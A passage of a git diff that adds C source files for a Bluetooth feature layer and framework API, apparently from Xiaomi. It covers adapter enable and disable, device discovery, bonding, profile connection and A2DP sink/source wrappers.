FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_onRequired(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_add_feature_callback(handle, FEATURE_BLUETOOTH_BT); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_onDetached(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_free_feature_callback(handle, FEATURE_BLUETOOTH_BT); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_onDestroy(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_uninit_bt_ins(FEATURE_BLUETOOTH_BT, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_onUnregister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_wrap_startDiscovery(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_bt_StartDiscoveryParams* params) +{ + int timeout = 8; + bt_status_t status = bt_adapter_start_discovery(feature_bluetooth_get_bt_ins(feature), timeout); + if (status == BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke start discovery success failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->fail, "start discovery failed!", status)) { + FEATURE_LOG_ERROR("invoke start discovery fail callback failed!"); + } + } + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke start discovery complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} +void system_bluetooth_bt_wrap_stopDiscovery(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_bt_StopDiscoveryParams* params) +{ + bt_status_t status = bt_adapter_cancel_discovery(feature_bluetooth_get_bt_ins(feature)); + if (status == BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke stop discovery success callback failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->fail, "stop discovery failed!", status)) { + FEATURE_LOG_ERROR("invoke stop discovery fail callback failed!"); + } + } + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke stop discovery complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +void system_bluetooth_bt_wrap_connectProfiles(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_bt_ConnectProfilesParams* params) +{ + int profiles_num = params->profiles->_size; + int* profiles = (int*)(params->profiles->_element); + bt_address_t addr; + int status = BT_STATUS_SUCCESS; + if (bt_addr_str2ba(params->deviceId, &addr) < 0) { + if (!FeatureInvokeCallback(feature, params->fail, "invalid addr!", BT_STATUS_PARM_INVALID)) { + FEATURE_LOG_ERROR("invoke connect profiles fail callback failed!"); + } + goto COMPLETE_CALLBACK; + } + + for (int i = 0; i < profiles_num; ++i) { + status |= bluetooth_connect_profiles(feature, &addr, (feature_bluetooth_profile_t)(profiles[i])); + } + + if (status != BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->fail, "connect all passing profiles failed!", status)) { + FEATURE_LOG_ERROR("invoke connect profiles fail callback failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke connect profiles success callback failed!"); + } + } +COMPLETE_CALLBACK: + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke connect profiles complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +void system_bluetooth_bt_wrap_disconnectProfiles(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_bt_DisconnectProfilesParams* params) +{ + int profiles_num = params->profiles->_size; + int* profiles = (int*)params->profiles->_element; + bt_address_t addr; + int status = BT_STATUS_SUCCESS; + if (bt_addr_str2ba(params->deviceId, &addr) < 0) { + if (!FeatureInvokeCallback(feature, params->fail, "invalid addr!", BT_STATUS_PARM_INVALID)) { + FEATURE_LOG_ERROR("invoke disconnect profiles fail callback failed!"); + } + goto COMPLETE_CALLBACK; + } + for (int i = 0; i < profiles_num; ++i) { + status |= bluetooth_disconnect_profiles(feature, &addr, (feature_bluetooth_profile_t)profiles[i]); + } + if (status != BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->fail, "disconnect all passing profiles failed!", status)) { + FEATURE_LOG_ERROR("invoke disconnect profiles fail callback failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke disconnect profiles success callback failed!"); + } + } +COMPLETE_CALLBACK: + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke disconnect profiles complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +void system_bluetooth_bt_wrap_disconnect(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_bt_DisconnectParams* params) +{ + bt_address_t addr; + bt_status_t status = BT_STATUS_SUCCESS; + if (bt_addr_str2ba(params->deviceId, &addr) < 0) { + if (!FeatureInvokeCallback(feature, params->fail, "invalid addr!", BT_STATUS_PARM_INVALID)) { + FEATURE_LOG_ERROR("invoke disconnect fail callback failed!"); + } + goto COMPLETE_CALLBACK; + } + + status = bt_device_disconnect(feature_bluetooth_get_bt_ins(feature), &addr); + + if (status != BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->fail, "disconnect failed!", status)) { + FEATURE_LOG_ERROR("invoke disconnect fail callback failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke disconnect success callback failed!"); + } + } +COMPLETE_CALLBACK: + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke disconnect complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +FtBool system_bluetooth_bt_wrap_getConnectState(FeatureInstanceHandle feature, AppendData append_data, FtString deviceId) +{ + FtBool connected = false; + bt_address_t addr; + if (bt_addr_str2ba(deviceId, &addr) < 0) { + return false; + } +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + connected |= bt_a2dp_sink_get_connection_state(feature_bluetooth_get_bt_ins(feature), &addr); +#endif + return connected; +} + +FtArray* system_bluetooth_bt_wrap_getConnectedDevices(FeatureInstanceHandle feature, AppendData append_data) +{ + bt_address_t* addrs = NULL; + int num = 0; + bt_adapter_get_connected_devices(feature_bluetooth_get_bt_ins(feature), BT_TRANSPORT_BREDR, &addrs, &num, bt_feature_allocator); + FtArray* devices = system_bluetooth_bt_malloc_string_array(); + devices->_size = num; + devices->_element = malloc(devices->_size * sizeof(char*)); + for (int i = 0; i < devices->_size; ++i) { + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addrs + i, addr_str); + ((char**)devices->_element)[i] = StringToFtString(addr_str); + } + free(addrs); + return devices; +} + +FtArray* system_bluetooth_bt_wrap_getBondedDevices(FeatureInstanceHandle feature, AppendData append_data) +{ + bt_address_t* addrs = NULL; + int num = 0; + bt_adapter_get_bonded_devices(feature_bluetooth_get_bt_ins(feature), BT_TRANSPORT_BREDR, &addrs, &num, bt_feature_allocator); + FtArray* devices = system_bluetooth_bt_malloc_string_array(); + devices->_size = num; + devices->_element = malloc(devices->_size * sizeof(char*)); + for (int i = 0; i < devices->_size; ++i) { + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addrs + i, addr_str); + ((char**)devices->_element)[i] = StringToFtString(addr_str); + } + free(addrs); + return devices; +} + +void system_bluetooth_bt_wrap_removeBondedDevice(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_bt_RemoveBondedParams* params) +{ + bt_address_t addr; + bt_status_t status; + if (bt_addr_str2ba(params->deviceId, &addr) < 0) { + if (!FeatureInvokeCallback(feature, params->fail, "invalid addr!", BT_STATUS_PARM_INVALID)) { + FEATURE_LOG_ERROR("invoke remove bonded fail callback failed!"); + } + goto COMPLETE_CALLBACK; + } + + if (!bt_device_is_bonded(feature_bluetooth_get_bt_ins(feature), &addr, BT_TRANSPORT_BREDR)) { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke remove bonded success callback failed!"); + } + goto COMPLETE_CALLBACK; + } + + status = bt_device_remove_bond(feature_bluetooth_get_bt_ins(feature), &addr, BT_TRANSPORT_BREDR); + if (status != BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->fail, "remove bonded failed!", status)) { + FEATURE_LOG_ERROR("invoke remove bonded fail callback failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke remove bonded success callback failed!"); + } + } +COMPLETE_CALLBACK: + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke remove bonded complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +FtBool system_bluetooth_bt_wrap_setScanMode(FeatureInstanceHandle feature, AppendData append_data, FtInt scanMode) +{ + FEATURE_LOG_DEBUG("set scanmode: %d!", scanMode); + if (scanMode < 0 || scanMode > 2) { + return false; + } + if (bt_adapter_set_scan_mode(feature_bluetooth_get_bt_ins(feature), (bt_scan_mode_t)scanMode, 1) == BT_STATUS_SUCCESS) { + return true; + } else { + return false; + } +} + +FtInt system_bluetooth_bt_wrap_getScanMode(FeatureInstanceHandle feature, AppendData append_data) +{ + return bt_adapter_get_scan_mode(feature_bluetooth_get_bt_ins(feature)); +} + +FtString system_bluetooth_bt_wrap_getDeviceName(FeatureInstanceHandle feature, AppendData append_data, FtString deviceId) +{ + bt_address_t addr; + char name[64] = { 0 }; + if (bt_addr_str2ba(deviceId, &addr) < 0) { + return StringToFtString(""); + } + bt_device_get_name(feature_bluetooth_get_bt_ins(feature), &addr, name, 64); + return StringToFtString(name); +} + +FtUint32 system_bluetooth_bt_wrap_getDeviceClass(FeatureInstanceHandle feature, AppendData append_data, FtString deviceId) +{ + bt_address_t addr; + if (bt_addr_str2ba(deviceId, &addr) < 0) { + return 0; + } + + return bt_device_get_device_class(feature_bluetooth_get_bt_ins(feature), &addr); +} + +FtCallbackId system_bluetooth_bt_get_ondiscoveryresult(void* feature, AppendData append_data) +{ + return feature_bluetooth_get_feature_callback(feature, ON_DISCOVERY_RESULT); +} + +void system_bluetooth_bt_set_ondiscoveryresult(void* feature, AppendData append_data, FtCallbackId ondiscoveryresult) +{ + FEATURE_LOG_DEBUG("set ondiscoveryresult feature: %p, callbackId: %d", feature, ondiscoveryresult); + feature_bluetooth_set_feature_callback(feature, ondiscoveryresult, ON_DISCOVERY_RESULT); +} + +FtCallbackId system_bluetooth_bt_get_onbondstatechange(void* feature, AppendData append_data) +{ + return feature_bluetooth_get_feature_callback(feature, ON_BOND_STATE_CHANGE); +} + +void system_bluetooth_bt_set_onbondstatechange(void* feature, AppendData append_data, FtCallbackId onbondstatechange) +{ + FEATURE_LOG_DEBUG("set onbondstatechange feature: %p, callbackId: %d", feature, onbondstatechange); + feature_bluetooth_set_feature_callback(feature, onbondstatechange, ON_BOND_STATE_CHANGE); +} diff --git a/feature/src/system_bluetooth_impl.c b/feature/src/system_bluetooth_impl.c new file mode 100644 index 0000000000000000000000000000000000000000..a3d165c785d3a7d1cd736c3aba4a8989853382b8 --- /dev/null +++ b/feature/src/system_bluetooth_impl.c @@ -0,0 +1,140 @@ +/* + * This file is auto-generated by jsongensource.py, Do not modify it directly! + */ + +/* + * Copyright (C) 2023 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include "bluetooth.h" +#include "bt_adapter.h" +#include "feature_bluetooth.h" +#include "feature_exports.h" +#include "feature_log.h" +#include "system_bluetooth.h" +#include "system_bluetooth_bt.h" + +#define file_tag "system_bluetooth" + +void system_bluetooth_onRegister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onCreate(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_init_bt_ins(FEATURE_BLUETOOTH, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onRequired(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_add_feature_callback(handle, FEATURE_BLUETOOTH); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onDetached(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_free_feature_callback(handle, FEATURE_BLUETOOTH); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onDestroy(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_uninit_bt_ins(FEATURE_BLUETOOTH, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onUnregister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_wrap_openAdapter(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_OpenAdapterParams* params) +{ + bt_status_t status = bt_adapter_enable(feature_bluetooth_get_bt_ins(feature)); + if (status == BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke success openAdapter callback failed, feature is %p, params->success is %d!", feature, params->success); + } + } else { + if (!FeatureInvokeCallback(feature, params->fail, "enable fail!", status)) { + FEATURE_LOG_ERROR("invoke fail openAdapter callback failed!"); + } + } + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke complete openAdapter callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +void system_bluetooth_wrap_closeAdapter(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_CloseAdapterParams* params) +{ + bt_status_t status = bt_adapter_disable(feature_bluetooth_get_bt_ins(feature)); + if (status == BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke success closeAdapter callback failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->fail, "enable fail!", status)) { + FEATURE_LOG_ERROR("invoke fail closeAdapter callback failed!"); + } + } + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke complete closeAdapter callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +void system_bluetooth_wrap_getAdapterState(FeatureInstanceHandle feature, AppendData append_data, system_bluetooth_GetAdapterStateParams* params) +{ + bt_instance_t* ins = feature_bluetooth_get_bt_ins(feature); + bt_adapter_state_t state = bt_adapter_get_state(ins); + bool is_discovering = bt_adapter_is_discovering(ins); + system_bluetooth_GetAdapterSuccessResult* success_result = system_bluetoothMallocGetAdapterSuccessResult(); + success_result->available = state == BT_ADAPTER_STATE_ON; + success_result->discovering = is_discovering; + + if (!FeatureInvokeCallback(feature, params->success, success_result)) { + FEATURE_LOG_ERROR("invoke success getAdapterState callback failed!"); + } + + FeatureFreeValue(success_result); + + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke complete getAdapterState callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} + +FtCallbackId system_bluetooth_get_onadapterstatechange(void* feature, AppendData append_data) +{ + return feature_bluetooth_get_feature_callback(feature, ON_ADAPTER_STATE_CHANGE); +} + +void system_bluetooth_set_onadapterstatechange(void* feature, AppendData append_data, FtCallbackId onadapterstatechange) +{ + FEATURE_LOG_DEBUG("set onadapterstatechange feature: %p, callbackId: %d", feature, onadapterstatechange); + feature_bluetooth_set_feature_callback(feature, onadapterstatechange, ON_ADAPTER_STATE_CHANGE); +} diff --git a/framework/api/bluetooth.c b/framework/api/bluetooth.c new file mode 100644 index 0000000000000000000000000000000000000000..e4c5b95aaa27316035339f98798e91be03e71a64 --- /dev/null +++ b/framework/api/bluetooth.c @@ -0,0 +1,109 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <unistd.h> + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_LOCAL +#include "btservice.h" +#include "manager_service.h" +#include "service_loop.h" +#endif +#include "bluetooth.h" +#include "bt_internal.h" +#include "manager_service.h" + +/* + +*/ +bt_instance_t* BTSYMBOLS(bluetooth_create_instance)(void) +{ + uint32_t app_id; +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_LOCAL + service_loop_init(); + bt_service_init(); + service_loop_run(true, "bt_service"); +#endif + bt_instance_t* ins = zalloc(sizeof(bt_instance_t)); + if (!ins) { + return NULL; + } + + bt_status_t status = manager_create_instance(PTR2INT(uint64_t) ins, BLUETOOTH_SYSTEM, "local", getpid(), 0, &app_id); + if (status != BT_STATUS_SUCCESS) { + free(ins); + return NULL; + } + + ins->app_id = app_id; + + return ins; +} + +bt_instance_t* BTSYMBOLS(bluetooth_get_instance)(void) +{ + bt_status_t status; + uint64_t handle; + + status = manager_get_instance("local", getpid(), &handle); + if (status == BT_STATUS_SUCCESS && handle) + return INT2PTR(bt_instance_t*) handle; + else + return BTSYMBOLS(bluetooth_create_instance)(); +} + +void* BTSYMBOLS(bluetooth_get_proxy)(bt_instance_t* ins, enum profile_id id) +{ + switch (id) { + case PROFILE_HFP_HF: + /* for binder ipc*/ +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_BINDER_IPC + if (!ins->hfp_hf_proxy) { + ins->hfp_hf_proxy = NULL; + } + return ins->hfp_hf_proxy; +#endif + + default: + break; + } + return NULL; +} + +void BTSYMBOLS(bluetooth_delete_instance)(bt_instance_t* ins) +{ + manager_delete_instance(ins->app_id); +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_LOCAL + bt_service_cleanup(); + service_loop_exit(); +#endif + free(ins); +} + +bt_status_t BTSYMBOLS(bluetooth_start_service)(bt_instance_t* ins, enum profile_id id) +{ + return manager_start_service(ins->app_id, id); +} + +bt_status_t BTSYMBOLS(bluetooth_stop_service)(bt_instance_t* ins, enum profile_id id) +{ + return manager_stop_service(ins->app_id, id); +} + +#include "uv.h" +bool BTSYMBOLS(bluetooth_set_external_uv)(bt_instance_t* ins, uv_loop_t* ext_loop) +{ + return false; +} \ No newline at end of file diff --git a/framework/api/bt_a2dp_sink.c b/framework/api/bt_a2dp_sink.c new file mode 100644 index 0000000000000000000000000000000000000000..5599fc8a22a31674ef86cd7294223eccf743133d --- /dev/null +++ b/framework/api/bt_a2dp_sink.c @@ -0,0 +1,86 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "a2dp_sink_api" + +#include <stdint.h> + +#include "a2dp_sink_service.h" +#include "bt_a2dp_sink.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "service_manager.h" +#include "utils/log.h" + +static a2dp_sink_interface_t* get_profile_service(void) +{ + return (a2dp_sink_interface_t*)service_manager_get_profile(PROFILE_A2DP_SINK); +} + +void* BTSYMBOLS(bt_a2dp_sink_register_callbacks)(bt_instance_t* ins, const a2dp_sink_callbacks_t* callbacks) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_a2dp_sink_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bool BTSYMBOLS(bt_a2dp_sink_is_connected)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->is_connected(addr); +} + +bool BTSYMBOLS(bt_a2dp_sink_is_playing)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->is_playing(addr); +} + +profile_connection_state_t BTSYMBOLS(bt_a2dp_sink_get_connection_state)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->get_connection_state(addr); +} + +bt_status_t BTSYMBOLS(bt_a2dp_sink_connect)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->connect(addr); +} + +bt_status_t BTSYMBOLS(bt_a2dp_sink_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_a2dp_sink_set_active_device)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_sink_interface_t* profile = get_profile_service(); + + return profile->set_active_device(addr); +} diff --git a/framework/api/bt_a2dp_source.c b/framework/api/bt_a2dp_source.c new file mode 100644 index 0000000000000000000000000000000000000000..61daa09273293edb1ac97d3498371f09af327d28 --- /dev/null +++ b/framework/api/bt_a2dp_source.c @@ -0,0 +1,93 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "a2dp_source_api" + +#include <stdint.h> + +#include "a2dp_source_service.h" +#include "bt_a2dp_source.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "service_manager.h" +#include "utils/log.h" + +static a2dp_source_interface_t* get_profile_service(void) +{ + return (a2dp_source_interface_t*)service_manager_get_profile(PROFILE_A2DP); +} + +void* BTSYMBOLS(bt_a2dp_source_register_callbacks)(bt_instance_t* ins, const a2dp_source_callbacks_t* callbacks) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_a2dp_source_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bool BTSYMBOLS(bt_a2dp_source_is_connected)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->is_connected(addr); +} + +bool BTSYMBOLS(bt_a2dp_source_is_playing)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->is_playing(addr); +} + +profile_connection_state_t BTSYMBOLS(bt_a2dp_source_get_connection_state)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->get_connection_state(addr); +} + +bt_status_t BTSYMBOLS(bt_a2dp_source_connect)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->connect(addr); +} + +bt_status_t BTSYMBOLS(bt_a2dp_source_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_a2dp_source_set_silence_device)(bt_instance_t* ins, bt_address_t* addr, bool silence) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->set_silence_device(addr, silence); +} + +bt_status_t BTSYMBOLS(bt_a2dp_source_set_active_device)(bt_instance_t* ins, bt_address_t* addr) +{ + a2dp_source_interface_t* profile = get_profile_service(); + + return profile->set_active_device(addr); +} diff --git a/framework/api/bt_adapter.c b/framework/api/bt_adapter.c new file mode 100644 index 0000000000000000000000000000000000000000..f73e2776df6a0d261309f9841ea59a552c818149 --- /dev/null +++ b/framework/api/bt_adapter.c @@ -0,0 +1,252 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "adapter_internel.h" +#include "bt_adapter.h" +#include "bt_internal.h" + +void* BTSYMBOLS(bt_adapter_register_callback)(bt_instance_t* ins, const adapter_callbacks_t* adapter_cbs) +{ + return adapter_register_callback(NULL, adapter_cbs); +} + +bool BTSYMBOLS(bt_adapter_unregister_callback)(bt_instance_t* ins, void* cookie) +{ + return adapter_unregister_callback(NULL, cookie); +} + +bt_status_t BTSYMBOLS(bt_adapter_enable)(bt_instance_t* ins) +{ + return adapter_enable(SYS_SET_BT_ALL); +} + +bt_status_t BTSYMBOLS(bt_adapter_disable)(bt_instance_t* ins) +{ + return adapter_disable(SYS_SET_BT_ALL); +} + +bt_status_t BTSYMBOLS(bt_adapter_disable_safe)(bt_instance_t* ins) +{ + return adapter_disable_safe(SYS_SET_BT_ALL); +} + +bt_status_t BTSYMBOLS(bt_adapter_enable_le)(bt_instance_t* ins) +{ + return adapter_enable(APP_SET_LE_ONLY); +} + +bt_status_t BTSYMBOLS(bt_adapter_disable_le)(bt_instance_t* ins) +{ + return adapter_disable(APP_SET_LE_ONLY); +} + +bt_adapter_state_t BTSYMBOLS(bt_adapter_get_state)(bt_instance_t* ins) +{ + return adapter_get_state(); +} + +bool BTSYMBOLS(bt_adapter_is_le_enabled)(bt_instance_t* ins) +{ + return adapter_is_le_enabled(); +} + +bt_device_type_t BTSYMBOLS(bt_adapter_get_type)(bt_instance_t* ins) +{ + return adapter_get_type(); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_discovery_filter)(bt_instance_t* ins) +{ + return 0; +} + +bt_status_t BTSYMBOLS(bt_adapter_start_limited_discovery)(bt_instance_t* ins, uint32_t timeout) +{ + return adapter_start_discovery(timeout, true); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_debug_mode)(bt_instance_t* ins, bt_debug_mode_t mode, uint8_t operation) +{ + return adapter_set_debug_mode(mode, operation); +} + +bt_status_t BTSYMBOLS(bt_adapter_start_discovery)(bt_instance_t* ins, uint32_t timeout) +{ + return adapter_start_discovery(timeout, false); +} + +bt_status_t BTSYMBOLS(bt_adapter_cancel_discovery)(bt_instance_t* ins) +{ + return adapter_cancel_discovery(); +} + +bool BTSYMBOLS(bt_adapter_is_discovering)(bt_instance_t* ins) +{ + return adapter_is_discovering(); +} + +void BTSYMBOLS(bt_adapter_get_address)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_get_address(addr); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_name)(bt_instance_t* ins, const char* name) +{ + return adapter_set_name(name); +} + +void BTSYMBOLS(bt_adapter_get_name)(bt_instance_t* ins, char* name, int length) +{ + return adapter_get_name(name, length); +} + +bt_status_t BTSYMBOLS(bt_adapter_get_uuids)(bt_instance_t* ins, bt_uuid_t* uuids, uint16_t* size) +{ + return adapter_get_uuids(uuids, size); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_scan_mode)(bt_instance_t* ins, bt_scan_mode_t mode, bool bondable) +{ + return adapter_set_scan_mode(mode, bondable); +} + +bt_scan_mode_t BTSYMBOLS(bt_adapter_get_scan_mode)(bt_instance_t* ins) +{ + return adapter_get_scan_mode(); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_device_class)(bt_instance_t* ins, uint32_t cod) +{ + return adapter_set_device_class(cod); +} + +uint32_t BTSYMBOLS(bt_adapter_get_device_class)(bt_instance_t* ins) +{ + return adapter_get_device_class(); 